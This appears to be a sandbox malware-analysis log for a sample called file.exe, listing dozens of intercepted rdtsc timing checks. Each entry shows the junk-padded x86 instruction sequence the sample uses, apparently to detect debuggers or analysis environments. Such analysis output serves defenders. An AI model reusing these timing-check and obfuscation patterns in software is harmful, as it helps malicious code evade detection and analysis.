Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5D97 second address: 7F5DB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F701CDA8A6Ah 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jp 00007F701CDA8A66h 0x00000019 pop edx 0x0000001a push ecx 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F60DF second address: 7F6115 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F701CDC8376h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F701CDC837Eh 0x00000014 jmp 00007F701CDC8387h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746A5A second address: 746AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A70h 0x00000007 pushad 0x00000008 jne 00007F701CDA8A66h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F701CDA8A6Ch 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F701CDA8A6Ah 0x00000022 jmp 00007F701CDA8A6Ah 0x00000027 jmp 00007F701CDA8A72h 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746AB5 second address: 746ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFBD3 second address: 7FFBD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FFBD7 second address: 7FFBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F701CDC8376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80028D second address: 800293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 800293 second address: 800297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A1EE second address: 74A1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A1FC second address: 74A206 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F701CDC8376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A206 second address: 74A23C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F701CDA8A79h 0x00000008 jmp 00007F701CDA8A71h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F701CDA8A66h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74A23C second address: 74A240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80B2E6 second address: 80B2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F701CDA8A66h 0x0000000f jns 00007F701CDA8A66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809616 second address: 80961A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80961A second address: 809629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F701CDA8A66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EC9 second address: 809EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F701CDC837Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 809EDC second address: 809EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F701CDA8A6Bh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A04A second address: 80A067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F701CDC8382h 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A190 second address: 80A19B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A19B second address: 80A1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1A0 second address: 80A1C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d je 00007F701CDA8A66h 0x00000013 jno 00007F701CDA8A66h 0x00000019 jl 00007F701CDA8A66h 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1C3 second address: 80A1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8383h 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1DB second address: 80A1E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1E1 second address: 80A1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1E7 second address: 80A1EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1EB second address: 80A1F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A1F1 second address: 80A1FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811A6E second address: 811A72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 811A72 second address: 811A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A6Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B31C second address: 82B326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B326 second address: 82B380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDA8A6Bh 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c js 00007F701CDA8A7Dh 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F701CDA8A75h 0x00000019 push esi 0x0000001a jmp 00007F701CDA8A6Ch 0x0000001f jmp 00007F701CDA8A79h 0x00000024 pop esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B380 second address: 82B386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82B386 second address: 82B3A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F701CDA8A6Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E223 second address: 82E24C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8387h 0x00000009 jo 00007F701CDC837Eh 0x0000000f jne 00007F701CDC8376h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E24C second address: 82E252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E252 second address: 82E258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82E258 second address: 82E25C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837B04 second address: 837B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F701CDC8376h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837B0F second address: 837B19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F701CDA8A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 837B19 second address: 837B22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840F28 second address: 840F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840F2E second address: 840F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 83FFC4 second address: 83FFC9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840271 second address: 840277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 840277 second address: 84027B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 843FFE second address: 844002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 844002 second address: 844006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846185 second address: 8461B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F701CDC8376h 0x0000000c popad 0x0000000d ja 00007F701CDC838Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8461B1 second address: 8461B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845C8E second address: 845CA6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F701CDC8376h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jmp 00007F701CDC837Ah 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845CA6 second address: 845CDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007F701CDA8A79h 0x00000018 pushad 0x00000019 jnc 00007F701CDA8A66h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845CDB second address: 845CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8389h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845E49 second address: 845E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDA8A78h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845E66 second address: 845E6B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845E6B second address: 845E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 845E71 second address: 845E79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855A72 second address: 855A8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F701CDA8A6Bh 0x0000000c jl 00007F701CDA8A66h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855A8C second address: 855A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F701CDC837Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863BD5 second address: 863BF3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F701CDA8A71h 0x00000008 jmp 00007F701CDA8A6Bh 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jg 00007F701CDA8A66h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873A7E second address: 873A97 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F701CDC8376h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F701CDC837Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873A97 second address: 873AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873AB0 second address: 873ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B36 second address: 872B3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B3A second address: 872B54 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jno 00007F701CDC8376h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F701CDC8376h 0x00000014 jl 00007F701CDC8376h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B54 second address: 872B5E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B5E second address: 872B62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872B62 second address: 872B89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F701CDA8A6Bh 0x0000000e pop ebx 0x0000000f popad 0x00000010 push ecx 0x00000011 pushad 0x00000012 jmp 00007F701CDA8A6Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872F9A second address: 872FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872FA3 second address: 872FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F701CDA8A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872FAD second address: 872FC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F701CDC8378h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8733CD second address: 8733EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F701CDA8A66h 0x0000000d jmp 00007F701CDA8A74h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8733EE second address: 8733F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873553 second address: 873560 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F701CDA8A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873691 second address: 8736B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8385h 0x00000009 popad 0x0000000a pop edx 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8736B1 second address: 8736B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87668C second address: 876690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 876690 second address: 8766A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDA8A70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879A4B second address: 879A7D instructions: 0x00000000 rdtsc 0x00000002 jc 00007F701CDC8376h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F701CDC837Eh 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 jnc 00007F701CDC8376h 0x0000001c pop edi 0x0000001d jmp 00007F701CDC837Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879A7D second address: 879A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8795F3 second address: 879612 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F701CDC8389h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA020B second address: 4DA0211 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0211 second address: 4DA0215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0215 second address: 4DA0219 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0219 second address: 4DA0265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push ecx 0x0000000b mov edi, 68965888h 0x00000010 pop edi 0x00000011 call 00007F701CDC837Eh 0x00000016 mov si, 0591h 0x0000001a pop eax 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007F701CDC837Ch 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F701CDC8387h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02B2 second address: 4DA02B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02B6 second address: 4DA02BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02BC second address: 4DA02C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02C2 second address: 4DA02C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02C6 second address: 4DA02F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F701CDA8A78h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F701CDA8A6Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02F9 second address: 4DA02FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02FF second address: 4DA0316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F701CDA8A73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0316 second address: 4DA0390 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F701CDC8389h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d jmp 00007F701CDC837Ch 0x00000012 pushfd 0x00000013 jmp 00007F701CDC8382h 0x00000018 adc ecx, 66FCAB88h 0x0000001e jmp 00007F701CDC837Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007F701CDC8386h 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F701CDC837Ah 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0390 second address: 4DA0396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0396 second address: 4DA039C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA039C second address: 4DA03A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
